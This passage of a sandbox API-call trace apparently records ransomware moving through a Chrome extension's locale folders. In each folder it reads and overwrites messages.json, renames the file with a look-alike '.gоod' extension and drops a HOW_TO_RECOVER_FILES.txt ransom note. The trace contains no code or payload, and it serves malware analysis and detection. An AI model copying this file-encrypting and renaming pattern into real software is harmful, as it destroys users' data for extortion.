(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.618] GetFileType (hFile=0x834) returned 0x1 [0234.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0234.618] GetFileType (hFile=0x834) returned 0x1 [0234.618] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd7 [0234.618] ReadFile (in: hFile=0x834, lpBuffer=0x38d4160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x38d4160*, lpNumberOfBytesRead=0x1f6e7648*=0xd7, lpOverlapped=0x0) returned 1 [0234.620] CloseHandle (hObject=0x834) returned 1 [0235.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0235.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0235.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0235.623] GetFileType (hFile=0x768) returned 0x1 [0235.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0235.623] GetFileType (hFile=0x768) returned 0x1 [0235.623] WriteFile (in: hFile=0x768, lpBuffer=0x3ae1648*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3ae1648*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0235.624] CloseHandle (hObject=0x768) returned 1 [0235.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json", lpFilePart=0x0) returned 0x8c [0235.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0235.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0235.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5524f067, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55251748, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x88a8df7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0235.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0235.624] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.gоod")) returned 1 [0235.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0235.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0235.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0235.626] GetFileType (hFile=0x768) returned 0x1 [0235.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0235.626] GetFileType (hFile=0x768) returned 0x1 [0235.627] WriteFile (in: hFile=0x768, lpBuffer=0x3ae4f98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3ae4f98*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0235.636] CloseHandle (hObject=0x768) returned 1 [0235.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0235.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpFilePart=0x0) returned 0x7b [0235.636] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5525b3bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5525dacb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5525dacb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0235.637] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5525b3bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5525dacb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5525dacb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.637] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5525dacb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552601a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0235.637] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0235.637] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0235.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0235.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0235.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0235.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpFilePart=0x0) returned 0x7b [0235.637] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5525b3bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5525dacb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5525dacb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0235.637] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5525b3bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5525dacb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5525dacb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.638] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5525dacb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552601a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0235.640] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5525dacb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552601a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0235.640] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0235.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0235.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0235.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0235.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0235.641] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3af4f68 | out: lpFileInformation=0x3af4f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5525dacb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552601a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x557317fe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1 [0235.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0235.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0235.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0235.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0235.641] GetFileType (hFile=0x768) returned 0x1 [0235.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0235.641] GetFileType (hFile=0x768) returned 0x1 [0235.641] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xdf [0235.641] ReadFile (in: hFile=0x768, lpBuffer=0x3af5400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3af5400*, lpNumberOfBytesRead=0x1f6e7648*=0xdf, lpOverlapped=0x0) returned 1 [0235.642] CloseHandle (hObject=0x768) returned 1 [0238.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0238.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0238.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0238.947] GetFileType (hFile=0x82c) returned 0x1 [0238.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0238.947] GetFileType (hFile=0x82c) returned 0x1 [0238.947] WriteFile (in: hFile=0x82c, lpBuffer=0x39f9fd8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x39f9fd8*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0238.948] CloseHandle (hObject=0x82c) returned 1 [0238.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json", lpFilePart=0x0) returned 0x89 [0238.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0238.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0238.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5525dacb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552601a8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8aa25172, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0238.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0238.949] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.gоod")) returned 1 [0238.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0238.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0238.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0238.950] GetFileType (hFile=0x82c) returned 0x1 [0238.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0238.950] GetFileType (hFile=0x82c) returned 0x1 [0239.127] WriteFile (in: hFile=0x82c, lpBuffer=0x36bb540*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x36bb540*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0239.128] CloseHandle (hObject=0x82c) returned 1 [0239.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0239.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpFilePart=0x0) returned 0x7f [0239.129] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5526c52f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5526ec42, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5526ec42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0239.129] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5526c52f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5526ec42, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5526ec42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.129] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5526ec42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55271318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55733f0a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0239.129] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0239.129] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0239.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0239.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0239.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0239.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 